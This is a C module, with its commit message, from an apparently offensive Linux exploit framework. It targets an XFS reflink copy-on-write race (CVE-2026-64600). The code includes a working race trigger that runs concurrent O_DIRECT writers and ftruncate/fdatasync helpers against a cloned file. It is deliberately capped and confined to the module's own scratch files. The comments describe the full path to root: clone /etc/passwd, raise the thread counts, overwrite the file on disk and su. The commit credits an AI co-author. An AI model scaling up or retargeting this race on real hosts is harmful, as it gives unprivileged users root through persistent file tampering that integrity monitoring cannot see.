Files
SKELETONKEY/modules/refluxfs_cve_2026_64600/skeletonkey_modules.c
T
KaraZajac e46a32f11e
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
modules: add refluxfs (CVE-2026-64600, "RefluXFS" XFS reflink CoW ILOCK race)
Adds the corpus's first XFS module and its first data-oriented kernel bug —
every other kernel entry corrupts memory; this one corrupts file contents.

xfs_direct_write_iomap_begin() reads the data-fork extent map under ILOCK,
then xfs_reflink_fill_cow_hole() drops ILOCK to wait for transaction log
space. On reacquiring it, the code re-queries the refcount btree at the
ORIGINAL imap->br_startblock and never re-reads the data fork. A second
O_DIRECT writer holding only IOLOCK completes a whole CoW cycle in that
window, so the first writer's stale mapping sees refcount 1, treats a
still-shared block as private, and writes to it in place — landing its data
on the reflink source file's on-disk blocks.

The primitive is an arbitrary overwrite of the on-disk contents of any
readable file, which has three consequences that drive the design:
  - No offsets, no ROP, no KASLR/SMEP/SMAP; SELinux, containers and seccomp
    are all irrelevant.
  - The victim's inode is never written, so mtime/ctime/size never change
    and nothing is logged — FIM and `-w /etc/passwd -p wa` cannot see it.
  - The change persists across reboots.

Introduced 4.11 (3c68d44a2b49); fixed 2f4acd0fcd86 (mainline 7.2-rc4,
merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96. Exposure is
distro-shaped: RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server
>= 31 and Amazon Linux 2023 ship XFS+reflink by default.

detect() is not a pure version gate — reachability here is safely
observable, so it pairs the backport table with a real storage precondition
(writable XFS via statfs XFS_SUPER_MAGIC, deliberately not via a successful
FICLONE since btrfs implements that too and is unaffected). --active
confirms reflink via FICLONE; SKELETONKEY_XFS_ASSUME_REFLINK=1/0 overrides.
On rpm-family hosts it warns that vendors backport without bumping the
upstream version, so the verdict speaks only to the upstream base.

exploit() forks a child that works only in a private mkdtemp scratch dir on
two files it owns: it establishes a shared extent (FICLONE, corroborated by
FIEMAP_EXTENT_SHARED) plus an O_DIRECT gate, then races a hard-bounded
8 writers / 2 helpers / 16 rounds / 2s and stops, reading the donor back
with O_DIRECT. Deliberately under-driven, and it never clones or targets a
file it does not own — the /etc/passwd overwrite -> su -> root step is
documented but NOT bundled. Always returns EXPLOIT_FAIL.

Safety rank 55, far above bad_epoll (12) and ghostlock (11): a won race
corrupts 4 KiB of our own scratch file and cannot touch kernel memory, so
there is no oops/KASAN/panic path.

Detection inverts the usual advice. auditd/sigma anchor on ioctl request
0x40049409 (FICLONE, matched exactly) and openat O_DIRECT; falco adds the
cross-uid reflink condition; and the yara rule is genuinely the right tool
here, matching the on-disk artifact because FIM is structurally blind.

VM-VERIFIED 2026-07-23 — the corpus's first rpm-family verification, taking
the empirical count to 29 of 41 CVEs. Rocky Linux 9.8 /
5.14.0-687.10.1.el9_8.0.1.x86_64 under qemu/KVM, stock GenericCloud layout
with no provisioner changes (root is XFS with reflink=1 out of the box).
detect() -> VULNERABLE, --active FICLONE witness confirmed reflink, phase A
observed FIEMAP_EXTENT_SHARED on a real shared extent, scratch self-cleaned,
clean build on el9 gcc. The underlying bug was separately confirmed winnable
on that kernel via tools/verify-vm/refluxfs_verify.c at the public PoC's
parameters (32 writers / 8 helpers, 60s): 4/4 runs won, first divergence
after 69/114/170/494 rounds. The shipped under-driven trigger did NOT win in
its 2s budget on that same vulnerable kernel — intended behaviour, and
exactly why a non-win must never be read as "patched".

14 new detect() unit rows (148 tests total, 0 failures). Bumps to v0.9.14.

Credit: Qualys Threat Research Unit (blog by Saeed Abbasi; the technical
advisory credits model-assisted kernel analysis performed with Anthropic),
and the upstream XFS maintainers who fixed it.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
2026-07-23 17:49:40 -04:00

1076 lines
54 KiB
C

/*
* refluxfs_cve_2026_64600 — SKELETONKEY module
*
* CVE-2026-64600 — "RefluXFS", a time-of-check/time-of-use race in the XFS
* reflink copy-on-write path (fs/xfs/xfs_iomap.c :: xfs_direct_write_iomap_begin
* → fs/xfs/xfs_reflink.c :: xfs_reflink_allocate_cow / xfs_reflink_fill_cow_hole
* / xfs_find_trim_cow_extent). A direct-I/O writer reads the data-fork extent
* map under ILOCK, then DROPS ILOCK to allocate a transaction (i.e. to wait for
* log space). On re-acquiring the lock it re-queries the refcount btree at the
* ORIGINAL physical block number (imap->br_startblock) and never re-reads the
* data fork. A second O_DIRECT writer — holding only the coarser IOLOCK — can
* complete an entire CoW cycle in that window (allocate block Y, write it,
* remap via xfs_reflink_end_cow), leaving the first writer's imap pointing at a
* block that is now owned solely by the reflink SOURCE. The stale lookup returns
* refcount == 1, the writer concludes the block is private, and writes to it in
* place — landing attacker data on the source file's on-disk blocks.
*
* The primitive is therefore NOT memory corruption: it is an arbitrary
* overwrite of the on-disk contents of any file the attacker can READ on a
* reflink-enabled XFS volume. That has three consequences worth stating plainly,
* because they drive every design decision below:
* 1. No KASLR/SMEP/SMAP/offsets/ROP are involved, so there is nothing to
* port per kernel build and no --full-chain offset table entry to fill.
* Qualys notes SELinux enforcing, container boundaries and seccomp are all
* equally irrelevant.
* 2. The write is applied UNDER the victim inode. No write(2) is ever issued
* against it, so its mtime/ctime/size do not change — file-integrity
* monitoring and `-w /etc/passwd -p wa` auditd watches DO NOT FIRE. See
* the detection-rule commentary at the bottom of this file.
* 3. The corruption is persistent on disk and survives reboot.
* The public demonstration (RHEL 10.2) reflink-clones /etc/passwd into /var/tmp,
* races concurrent direct-I/O writes against the clone, and thereby rewrites
* /etc/passwd itself to strip root's password → `su` → root.
*
* Reachable by ANY unprivileged local user: no capability, no user namespace,
* no crafted/mountable filesystem image, no special CONFIG beyond CONFIG_XFS_FS
* built with reflink. The only preconditions are an XFS filesystem mounted with
* reflink=1 (the mkfs.xfs default since xfsprogs 5.1) that the user can write
* to, plus read access to whatever file is being targeted. That makes the
* exposed population distro-shaped rather than kernel-shaped: RHEL 8/9/10,
* CentOS Stream 8/9/10, Rocky/AlmaLinux 8/9/10, Oracle Linux 8/9/10 (RHCK +
* UEK), CloudLinux 8/9/10, Fedora Server >= 31 and Amazon Linux 2023 (plus AL2
* AMIs from 2022-12) ship XFS+reflink by DEFAULT and are exploitable out of the
* box; Debian, Ubuntu, Fedora Workstation, SLES, openSUSE and Arch default to
* ext4/btrfs and are NOT reachable unless an XFS volume was added deliberately.
* RHEL/CentOS 7 was never affected (kernel 3.10 predates reflink entirely).
*
* Introduced in 4.11 (2017-02, commit 3c68d44a2b49 "xfs: allocate direct I/O
* COW blocks in iomap_begin") — a nine-year exposure window. Fixed by
* 2f4acd0fcd862e22eab45690ec2c08c80b6ef2e7 ("xfs: resample the data fork
* mapping after cycling ILOCK"), merged 2026-07-16 for 7.2-rc4; the CNA record
* lists stable backports 7.1.4 / 6.18.39 / 6.12.96 (commits e705d81a7193,
* 206c09b04dc5, 44f891bc0889). Class is CWE-362 (race) yielding CWE-367
* (TOCTOU); NVD had published neither a CWE nor a CVSS vector at time of
* writing, and the CVE is NOT in CISA KEV (disclosed 2026-07-22). Discovered by
* the Qualys Threat Research Unit; the advisory credits model-assisted kernel
* analysis done with Anthropic. See NOTICE.md.
*
* STATUS: 🟡 TRIGGER (reconstructed) — VM-VERIFIED, and deliberately NOT
* weaponised. Confirmed 2026-07-23 on Rocky Linux 9.8 /
* 5.14.0-687.10.1.el9_8.0.1.x86_64 (stock installer layout: root on XFS with
* reflink=1) under qemu/KVM, 6 vCPUs: detect() returns VULNERABLE, the
* --active FICLONE witness confirms reflink, and phase A observes
* FIEMAP_EXTENT_SHARED on a real XFS shared extent. The UNDERLYING BUG was
* separately confirmed winnable on that kernel — 4/4 runs, first divergence
* after 69-494 rounds inside a 60s budget — using a VM-only harness driven at
* the public PoC's parameters (32 writers / 8 helpers; see
* tools/verify-vm/refluxfs_verify.c). The SHIPPED trigger below is
* deliberately under-driven (8 writers / 2 helpers / 2s) and did NOT win in
* that budget on the same vulnerable kernel — that is the intended behaviour,
* not a defect, and is why a non-win must never be read as "patched".
* exploit() forks an isolated child that works ONLY inside a private scratch
* directory it creates on an XFS mount, on two files it owns, in two phases:
* (A) DETERMINISTIC + SAFE — writes a donor file, FICLONE-clones it, and
* confirms via FIEMAP that the clone's extent carries
* FIEMAP_EXTENT_SHARED. That is a direct, read-only observation that
* the refcount-btree state the bug misjudges (refcount > 1 on a shared
* extent) actually exists on this filesystem, and that O_DIRECT opens
* succeed — i.e. the vulnerable path is reachable here. Reflink cloning
* is an ordinary supported operation; this phase is safe on any kernel.
* (B) HARD-BOUNDED window exercise — races a small number of concurrent
* O_DIRECT writes against the clone while helper threads cycle
* ftruncate/fdatasync to keep the ILOCK dropping for log space, then
* STOPS. It then reads the DONOR back with O_DIRECT (bypassing the page
* cache, which would otherwise hide the corruption) and reports whether
* the donor's on-disk bytes changed — the honest, self-contained
* witness that the race was won.
* It is deliberately UNDER-DRIVEN relative to the public PoC (8 writers vs 32,
* 2 helpers vs 8, 2s cap), and — the important part — it NEVER clones or
* targets a file it does not own. The step that makes this root, cloning a
* root-owned file such as /etc/passwd and racing writes onto ITS shared
* blocks, is documented but NOT bundled: doing so would persistently rewrite
* a system file on disk with no way to undo it. Returns EXPLOIT_FAIL always;
* it never claims root it did not get.
*
* Note the asymmetry with the corpus's other reconstructed race triggers: a
* won race here corrupts 4 KiB of the operator's OWN scratch file and cannot
* touch kernel memory, so unlike bad_epoll (frees a live struct file) and
* ghostlock (kernel-stack UAF → near-arbitrary write → panic) there is no
* oops, no silent kernel destabilisation and no panic risk. That is why this
* module ranks well above them in --auto safety despite being unverified.
*
* detect() is a version gate AND a real precondition probe, because unlike a
* pure kernel race this bug's reachability is observable safely: it requires
* a writable directory on a mounted XFS filesystem (checked via statfs(2)
* f_type == XFS_SUPER_MAGIC — NOT merely "FICLONE works", since btrfs also
* implements FICLONE and is not affected). Without one it returns
* PRECOND_FAIL, which is the correct verdict on a default Debian/Ubuntu host.
* Under --active it additionally performs the FICLONE witness to confirm
* reflink=1 rather than assuming the mkfs default. Override the probe with
* SKELETONKEY_XFS_ASSUME_REFLINK=1 (force reachable) / 0 (force unreachable)
* when you know the fleet's storage layout better than a local probe can —
* this also drives the unit tests.
*
* Honesty caveat, and it is a big one for this CVE specifically: the affected
* population is overwhelmingly RHEL-family, and those vendors backport fixes
* WITHOUT bumping the upstream base version (a patched RHEL 8 kernel still
* reports 4.18.0-xxx.el8). An upstream-version gate cannot see that, so on
* rpm-family hosts a VULNERABLE verdict is a statement about the upstream
* base version only; detect() says so explicitly rather than pretending
* otherwise. Confirm against the vendor erratum (RHSA/ELSA/ALSA/RLSA).
*
* arch_support: any — trigger and real-world exploitation are both pure
* syscall/filesystem work (FICLONE, O_DIRECT pwrite, ftruncate, fdatasync)
* with no offsets, no shellcode and no arch-specific structure layouts.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdint.h>
#include <stdatomic.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <pthread.h>
#include <sched.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/statfs.h>
#include <sys/types.h>
#include <sys/wait.h>
/* Filesystem/ioctl constants — defined defensively. <linux/fs.h> and
* <linux/fiemap.h> are not present on every build host and can clash with
* libc headers; the numbers below are stable uapi. */
#ifndef XFS_SUPER_MAGIC
#define XFS_SUPER_MAGIC 0x58465342 /* "XFSB" */
#endif
#ifndef RFX_FICLONE
#define RFX_FICLONE _IOW(0x94, 9, int)
#endif
#define RFX_FIEMAP_FLAG_SYNC 0x00000001u
#define RFX_FIEMAP_EXTENT_SHARED 0x00002000u /* extent is shared: refcount > 1 */
/* struct fiemap / struct fiemap_extent, mirrored so we can build the
* FS_IOC_FIEMAP ioctl number without the kernel header. The _IOWR size field
* MUST equal sizeof(struct fiemap) == 32, asserted below. */
struct rfx_fiemap_hdr {
uint64_t fm_start;
uint64_t fm_length;
uint32_t fm_flags;
uint32_t fm_mapped_extents;
uint32_t fm_extent_count;
uint32_t fm_reserved;
};
struct rfx_fiemap_extent {
uint64_t fe_logical;
uint64_t fe_physical;
uint64_t fe_length;
uint64_t fe_reserved64[2];
uint32_t fe_flags;
uint32_t fe_reserved[3];
};
_Static_assert(sizeof(struct rfx_fiemap_hdr) == 32,
"fiemap header must be 32 bytes or FS_IOC_FIEMAP encodes wrong");
_Static_assert(sizeof(struct rfx_fiemap_extent) == 56,
"fiemap extent must be 56 bytes to match uapi layout");
#define RFX_FIEMAP_MAX_EXTENTS 8
struct rfx_fiemap_req {
struct rfx_fiemap_hdr hdr;
struct rfx_fiemap_extent ext[RFX_FIEMAP_MAX_EXTENTS];
};
#define RFX_FS_IOC_FIEMAP _IOWR('f', 11, struct rfx_fiemap_hdr)
/* ------------------------------------------------------------------
* Kernel-range table. Mainline fix 2f4acd0fcd86 landed in 7.2-rc4
* (merged 2026-07-16); the CNA record lists stable backports on the three
* branches below. A branch with an exact entry is patched iff
* host.patch >= entry.patch; any branch strictly newer than EVERY entry
* (i.e. 7.2+) inherits the mainline fix; every other branch — the 6.6 / 6.1 /
* 5.15 / 5.14 / 5.10 / 4.19 / 4.18 LTS lines and the EOL branches in between —
* is still vulnerable with no upstream stable fix published at time of writing.
* kernel_range_is_patched() implements exactly that.
*
* Distro vendor branches (RHEL 4.18.0-*.el8, 5.14.0-*.el9, UEK, Amazon) carry
* the fix without moving these numbers; see the rpm-family caveat in detect().
* Extend the table as more branches publish backports — tools/
* refresh-kernel-ranges.py flags the drift. Authoritative source: the Linux
* kernel CNA record (git.kernel.org/stable/c/<hash>).
* ------------------------------------------------------------------ */
static const struct kernel_patched_from refluxfs_patched_branches[] = {
{6, 12, 96}, /* 6.12 LTS — 44f891bc0889 */
{6, 18, 39}, /* 6.18 — 206c09b04dc5 */
{7, 1, 4}, /* 7.1 — e705d81a7193; 7.2+ inherits mainline 2f4acd0fcd86 */
};
static const struct kernel_range refluxfs_range = {
.patched_from = refluxfs_patched_branches,
.n_patched_from = sizeof(refluxfs_patched_branches) /
sizeof(refluxfs_patched_branches[0]),
};
/* ------------------------------------------------------------------
* Target discovery: a writable directory on a mounted XFS filesystem.
*
* We check the SUPERBLOCK MAGIC rather than trusting a successful FICLONE,
* because btrfs implements FICLONE too and is not affected by this CVE. The
* candidate list covers the conventional scratch dirs (the public PoC used
* /var/tmp) and then anything XFS that /proc/mounts reports, which catches
* layouts where only /home or a data volume is XFS.
* ------------------------------------------------------------------ */
#define RFX_SCRATCH_PREFIX "skeletonkey-refluxfs-"
/* Buffer tiers. Directory buffers are deliberately smaller than the PATH_MAX
* file-path buffers built from them, so every snprintf() below is provably
* non-truncating (and -Wformat-truncation stays quiet without pragmas):
* mount dir (<=1023) + "/" + prefix + "XXXXXX" fits RFX_SCRATCH_MAX
* scratch (<=2047) + "/donor"|"/clone" fits PATH_MAX
* mount dir (<=1023) + "/" + d_name (<=255) fits PATH_MAX */
#define RFX_DIR_MAX 1024 /* an XFS mountpoint / scratch parent */
#define RFX_SCRATCH_MAX 2048 /* the private mkdtemp() directory */
static bool rfx_dir_is_writable_xfs(const char *dir)
{
if (!dir || !*dir) return false;
struct statfs sfs;
if (statfs(dir, &sfs) != 0) return false;
if ((unsigned long)sfs.f_type != (unsigned long)XFS_SUPER_MAGIC) return false;
return access(dir, W_OK | X_OK) == 0;
}
/* Append every xfs mountpoint in /proc/mounts to the caller's candidate
* callback. Mountpoints are octal-escaped in that file; we unescape the
* cases that actually occur (\040 space, \011 tab, \012 newline, \134 \). */
static void rfx_unescape_mount(char *s)
{
char *r = s, *w = s;
while (*r) {
if (r[0] == '\\' && r[1] && r[2] && r[3]) {
int a = r[1] - '0', b = r[2] - '0', c = r[3] - '0';
if (a >= 0 && a <= 7 && b >= 0 && b <= 7 && c >= 0 && c <= 7) {
*w++ = (char)((a << 6) | (b << 3) | c);
r += 4;
continue;
}
}
*w++ = *r++;
}
*w = '\0';
}
/* Find a writable directory on an XFS filesystem.
*
* Returns 1 and fills `out` when a usable target exists, 0 when none does.
* *assumed is set true when the answer came from SKELETONKEY_XFS_ASSUME_REFLINK
* rather than a real statfs() match, so callers can report the difference
* honestly instead of implying they measured something they did not. */
static int rfx_find_xfs_dir(char *out, size_t outsz, bool *assumed)
{
if (assumed) *assumed = false;
if (out && outsz) out[0] = '\0';
const char *ov = getenv("SKELETONKEY_XFS_ASSUME_REFLINK");
if (ov && *ov == '0') {
if (assumed) *assumed = true;
return 0; /* operator asserts: no reflink XFS here */
}
const char *fixed[] = {
getenv("TMPDIR"), "/var/tmp", "/tmp", getenv("HOME"),
};
for (size_t i = 0; i < sizeof(fixed) / sizeof(fixed[0]); i++) {
if (fixed[i] && rfx_dir_is_writable_xfs(fixed[i])) {
snprintf(out, outsz, "%s", fixed[i]);
return 1;
}
}
/* Anything else XFS that we can write to. */
FILE *f = fopen("/proc/mounts", "re");
if (f) {
char line[1024];
while (fgets(line, sizeof line, f)) {
char dev[256], mp[512], fstype[64];
if (sscanf(line, "%255s %511s %63s", dev, mp, fstype) != 3) continue;
if (strcmp(fstype, "xfs") != 0) continue;
rfx_unescape_mount(mp);
if (rfx_dir_is_writable_xfs(mp)) {
snprintf(out, outsz, "%s", mp);
fclose(f);
return 1;
}
}
fclose(f);
}
if (ov && *ov == '1') {
/* Operator asserts the target exists even though we could not see it
* (e.g. scanning a fleet from a host whose own storage differs).
* Hand back a conventional scratch dir; exploit() reports honestly if
* it turns out not to be usable. */
snprintf(out, outsz, "%s", "/var/tmp");
if (assumed) *assumed = true;
return 1;
}
return 0;
}
/* Non-destructive reflink witness: clone a 4 KiB file inside `dir` and remove
* both files immediately. Returns 1 if FICLONE succeeded (reflink=1 confirmed),
* 0 if the filesystem refused it (reflink=0 → the CoW path is unreachable),
* -1 if we could not decide. Only called when ctx->active_probe is set. */
static int rfx_reflink_witness(const char *dir)
{
/* pid-qualified so two concurrent skeletonkey runs (a fleet scan looping
* over hosts, or --auto's forked per-module detects) cannot unlink each
* other's probe files mid-check and produce a bogus PRECOND_FAIL. */
char src[PATH_MAX], dst[PATH_MAX];
snprintf(src, sizeof src, "%s/" RFX_SCRATCH_PREFIX "probe.%ld.src",
dir, (long)getpid());
snprintf(dst, sizeof dst, "%s/" RFX_SCRATCH_PREFIX "probe.%ld.dst",
dir, (long)getpid());
int rc = -1;
int sfd = open(src, O_RDWR | O_CREAT | O_TRUNC, 0600);
if (sfd < 0) return -1;
static const char blk[4096] = { 0 };
if (write(sfd, blk, sizeof blk) != (ssize_t)sizeof blk) { close(sfd); unlink(src); return -1; }
(void)fsync(sfd);
int dfd = open(dst, O_RDWR | O_CREAT | O_TRUNC, 0600);
if (dfd >= 0) {
errno = 0;
if (ioctl(dfd, RFX_FICLONE, sfd) == 0) {
rc = 1;
} else if (errno == EOPNOTSUPP || errno == EINVAL || errno == EXDEV ||
errno == ENOTTY) {
rc = 0; /* filesystem has no reflink support */
}
close(dfd);
unlink(dst);
}
close(sfd);
unlink(src);
return rc;
}
static skeletonkey_result_t refluxfs_detect(const struct skeletonkey_ctx *ctx)
{
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] refluxfs: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Direct-I/O CoW block allocation in iomap_begin — the code the race lives
* in — arrived in 4.11 (3c68d44a2b49). RHEL/CentOS 7's 3.10 predates
* reflink entirely and was never affected. */
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 11, 0)) {
if (!ctx->json)
fprintf(stderr, "[i] refluxfs: kernel %s predates XFS direct-I/O CoW "
"(introduced 4.11) — not affected\n", v->release);
return SKELETONKEY_OK;
}
/* A patched kernel is not vulnerable regardless of storage layout —
* decide that first so the verdict is deterministic. */
if (kernel_range_is_patched(&refluxfs_range, v)) {
if (!ctx->json)
fprintf(stderr, "[+] refluxfs: kernel %s is patched (>= 7.1.4 / "
"6.18.39 / 6.12.96 on-branch, or 7.2+ mainline)\n",
v->release);
return SKELETONKEY_OK;
}
/* Vulnerable kernel. The bug is only reachable where an XFS filesystem
* with reflink is mounted and writable — on a default Debian/Ubuntu host
* (ext4) there is nothing to attack, and that is PRECOND_FAIL, not
* VULNERABLE. */
char dir[RFX_DIR_MAX];
bool assumed = false;
if (!rfx_find_xfs_dir(dir, sizeof dir, &assumed)) {
if (!ctx->json) {
fprintf(stderr, "[i] refluxfs: kernel %s is in the vulnerable range "
"but no writable XFS filesystem is mounted%s — the "
"reflink CoW path is not reachable here\n",
v->release,
assumed ? " (forced by SKELETONKEY_XFS_ASSUME_REFLINK=0)" : "");
fprintf(stderr, "[i] refluxfs: XFS+reflink is the default on RHEL/"
"CentOS/Rocky/Alma/Oracle 8-10, Fedora Server >= 31 "
"and Amazon Linux 2023; if this fleet has XFS "
"elsewhere, re-run with "
"SKELETONKEY_XFS_ASSUME_REFLINK=1\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
/* Under --active, confirm reflink is actually enabled rather than assuming
* the mkfs.xfs default. reflink=0 means no shared extents can exist, so the
* refcount check the bug fumbles is never reached. */
if (ctx->active_probe && !assumed) {
int w = rfx_reflink_witness(dir);
if (w == 0) {
if (!ctx->json)
fprintf(stderr, "[i] refluxfs: XFS at %s has reflink DISABLED "
"(FICLONE refused) — no shared extents possible, "
"bug not reachable here\n", dir);
return SKELETONKEY_PRECOND_FAIL;
}
if (w == 1 && !ctx->json)
fprintf(stderr, "[+] refluxfs: reflink CONFIRMED on XFS at %s "
"(FICLONE accepted)\n", dir);
if (w < 0 && !ctx->json)
fprintf(stderr, "[i] refluxfs: reflink probe inconclusive at %s — "
"falling back to the version verdict\n", dir);
}
if (!ctx->json) {
fprintf(stderr, "[!] refluxfs: VULNERABLE — kernel %s below the fix on "
"its branch, writable XFS at %s%s; the reflink CoW "
"ILOCK-cycling race lets any unprivileged user overwrite "
"the on-disk contents of any readable file (no userns, "
"no capability, no offsets)\n",
v->release, dir,
assumed ? " (asserted via SKELETONKEY_XFS_ASSUME_REFLINK=1)"
: "");
if (!ctx->active_probe)
fprintf(stderr, "[i] refluxfs: reflink=1 assumed (the mkfs.xfs "
"default since xfsprogs 5.1) — re-run with --active "
"to confirm it empirically via FICLONE\n");
if (ctx->host && ctx->host->is_rpm_family)
fprintf(stderr, "[!] refluxfs: rpm-family host — RHEL/Oracle/Rocky/"
"Alma backport this fix WITHOUT bumping the upstream "
"version (a patched el8 kernel still reports "
"4.18.0-*), so this verdict reflects the upstream "
"base version only. Confirm against the vendor "
"erratum (RHSA/ELSA/ALSA/RLSA).\n");
fprintf(stderr, "[i] refluxfs: no runtime mitigation exists — reflink is "
"a superblock feature that cannot be turned off on a "
"live filesystem, and O_DIRECT cannot be disabled. Patch "
"the kernel and reboot.\n");
}
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
* Reconstructed reachability trigger (deliberately under-driven, and
* deliberately confined to files we own).
*
* Shape of the public PoC, minus the part that makes it an attack:
* PoC: FICLONE /etc/passwd -> /var/tmp/clone; 32 x O_DIRECT 4K write @0
* + 8 x ftruncate/fdatasync helpers => /etc/passwd rewritten on disk
* here: FICLONE ourdonor -> ourclone; 8 x O_DIRECT 4K write @0
* + 2 x ftruncate/fdatasync helpers => at worst OUR donor is rewritten
*
* Phase A confirms, read-only and deterministically, that the exact filesystem
* state the bug misjudges exists here: a shared extent (FIEMAP_EXTENT_SHARED,
* i.e. refcount > 1) and a working O_DIRECT path into
* xfs_direct_write_iomap_begin. Phase B races writers against the clone while
* helpers cycle ftruncate/fdatasync to keep the transaction allocator dropping
* ILOCK to wait for log space — the window the race needs — then stops and
* checks the donor's on-disk bytes with an O_DIRECT read (a buffered read would
* be served from the donor's page cache, which the corruption bypasses, and
* would hide a win).
*
* We do NOT clone or target any file we do not own, do NOT grind the race to a
* win, and do NOT touch /etc/passwd or any other system file. A won race here
* damages 4 KiB of our own scratch file and nothing else.
* ------------------------------------------------------------------ */
#define RFX_BLK 4096u /* 4 KiB — the PoC's write size */
#define RFX_ALIGN 4096u /* satisfies 512b and 4Kn O_DIRECT alignment */
#define RFX_DONOR_BYTE 0x5a /* 'Z' — donor's known-good pattern */
#define RFX_ATTACKER_BYTE 0x41 /* 'A' — what the racing writers push */
#define RFX_RACE_WRITERS 8 /* public PoC uses 32 */
#define RFX_RACE_HELPERS 2 /* public PoC uses 8 */
#define RFX_RACE_ROUNDS 16 /* hard iteration cap */
#define RFX_RACE_BUDGET_SECS 2 /* hard wall-clock cap */
/* Child exit codes — mapped to operator-facing messages in exploit(). */
#define RFX_RC_SHARED_NO_WIN 100 /* shared extent confirmed, race not won */
#define RFX_RC_NO_SHARE 101 /* could not establish/observe a shared extent */
#define RFX_RC_SHARED_WIN 102 /* shared extent confirmed AND donor diverged */
#define RFX_RC_SETUP_FAIL 103 /* no usable scratch dir / O_DIRECT unavailable */
struct rfx_race {
char clone_path[PATH_MAX];
atomic_int gate; /* 0 = hold, 1 = go */
atomic_int stop; /* helpers exit when set */
};
static void *rfx_writer_fn(void *arg)
{
struct rfx_race *r = (struct rfx_race *)arg;
int fd = open(r->clone_path, O_RDWR | O_DIRECT);
if (fd < 0) return NULL;
void *buf = NULL;
if (posix_memalign(&buf, RFX_ALIGN, RFX_BLK) != 0) { close(fd); return NULL; }
memset(buf, RFX_ATTACKER_BYTE, RFX_BLK);
while (!atomic_load_explicit(&r->gate, memory_order_acquire))
sched_yield();
(void)pwrite(fd, buf, RFX_BLK, 0);
free(buf);
close(fd);
return NULL;
}
/* Keep the transaction allocator busy so the ILOCK keeps getting dropped while
* waiting for log space. Sizes alternate between one and two blocks — both keep
* byte range [0, RFX_BLK) intact, so the racing writers' target never moves. */
static void *rfx_helper_fn(void *arg)
{
struct rfx_race *r = (struct rfx_race *)arg;
int fd = open(r->clone_path, O_RDWR);
if (fd < 0) return NULL;
while (!atomic_load_explicit(&r->gate, memory_order_acquire))
sched_yield();
while (!atomic_load_explicit(&r->stop, memory_order_acquire)) {
(void)ftruncate(fd, (off_t)RFX_BLK * 2);
(void)fdatasync(fd);
(void)ftruncate(fd, (off_t)RFX_BLK);
(void)fdatasync(fd);
}
close(fd);
return NULL;
}
/* Read `path`'s first block with O_DIRECT and report whether every byte still
* equals `expect`. Returns 1 if the content diverged, 0 if intact, -1 if we
* could not tell. O_DIRECT matters: the corruption lands under the inode, so a
* buffered read would return the stale (correct-looking) cached page. */
static int rfx_content_diverged(const char *path, unsigned char expect)
{
int fd = open(path, O_RDONLY | O_DIRECT);
if (fd < 0) return -1;
void *buf = NULL;
if (posix_memalign(&buf, RFX_ALIGN, RFX_BLK) != 0) { close(fd); return -1; }
int rc = -1;
ssize_t n = pread(fd, buf, RFX_BLK, 0);
if (n == (ssize_t)RFX_BLK) {
const unsigned char *p = (const unsigned char *)buf;
rc = 0;
for (size_t i = 0; i < RFX_BLK; i++) {
if (p[i] != expect) { rc = 1; break; }
}
}
free(buf);
close(fd);
return rc;
}
/* Does `path`'s first extent report FIEMAP_EXTENT_SHARED? 1 = yes (refcount>1),
* 0 = no, -1 = could not tell. */
static int rfx_extent_is_shared(const char *path)
{
int fd = open(path, O_RDONLY);
if (fd < 0) return -1;
struct rfx_fiemap_req req;
memset(&req, 0, sizeof req);
req.hdr.fm_start = 0;
req.hdr.fm_length = RFX_BLK;
req.hdr.fm_flags = RFX_FIEMAP_FLAG_SYNC;
req.hdr.fm_extent_count = RFX_FIEMAP_MAX_EXTENTS;
int rc = -1;
if (ioctl(fd, RFX_FS_IOC_FIEMAP, &req) == 0) {
rc = 0;
uint32_t n = req.hdr.fm_mapped_extents;
if (n > RFX_FIEMAP_MAX_EXTENTS) n = RFX_FIEMAP_MAX_EXTENTS;
for (uint32_t i = 0; i < n; i++) {
if (req.ext[i].fe_flags & RFX_FIEMAP_EXTENT_SHARED) { rc = 1; break; }
}
}
close(fd);
return rc;
}
/* Build donor + reflinked clone inside `scratch`. Returns 0 on success. */
static int rfx_build_pair(const char *scratch, char *donor, size_t dsz,
char *clone, size_t csz)
{
snprintf(donor, dsz, "%s/donor", scratch);
snprintf(clone, csz, "%s/clone", scratch);
int dfd = open(donor, O_RDWR | O_CREAT | O_TRUNC, 0600);
if (dfd < 0) return -1;
void *buf = NULL;
if (posix_memalign(&buf, RFX_ALIGN, RFX_BLK) != 0) { close(dfd); return -1; }
memset(buf, RFX_DONOR_BYTE, RFX_BLK);
ssize_t w = pwrite(dfd, buf, RFX_BLK, 0);
free(buf);
if (w != (ssize_t)RFX_BLK) { close(dfd); return -1; }
(void)fsync(dfd);
int cfd = open(clone, O_RDWR | O_CREAT | O_TRUNC, 0600);
if (cfd < 0) { close(dfd); return -1; }
/* The shared extent. This — and only this — is the state the bug's stale
* refcount lookup misjudges. */
int rc = ioctl(cfd, RFX_FICLONE, dfd) == 0 ? 0 : -1;
(void)fsync(cfd);
close(cfd);
close(dfd);
return rc;
}
static void rfx_remove_scratch(const char *scratch)
{
DIR *d = opendir(scratch);
if (d) {
struct dirent *e;
while ((e = readdir(d)) != NULL) {
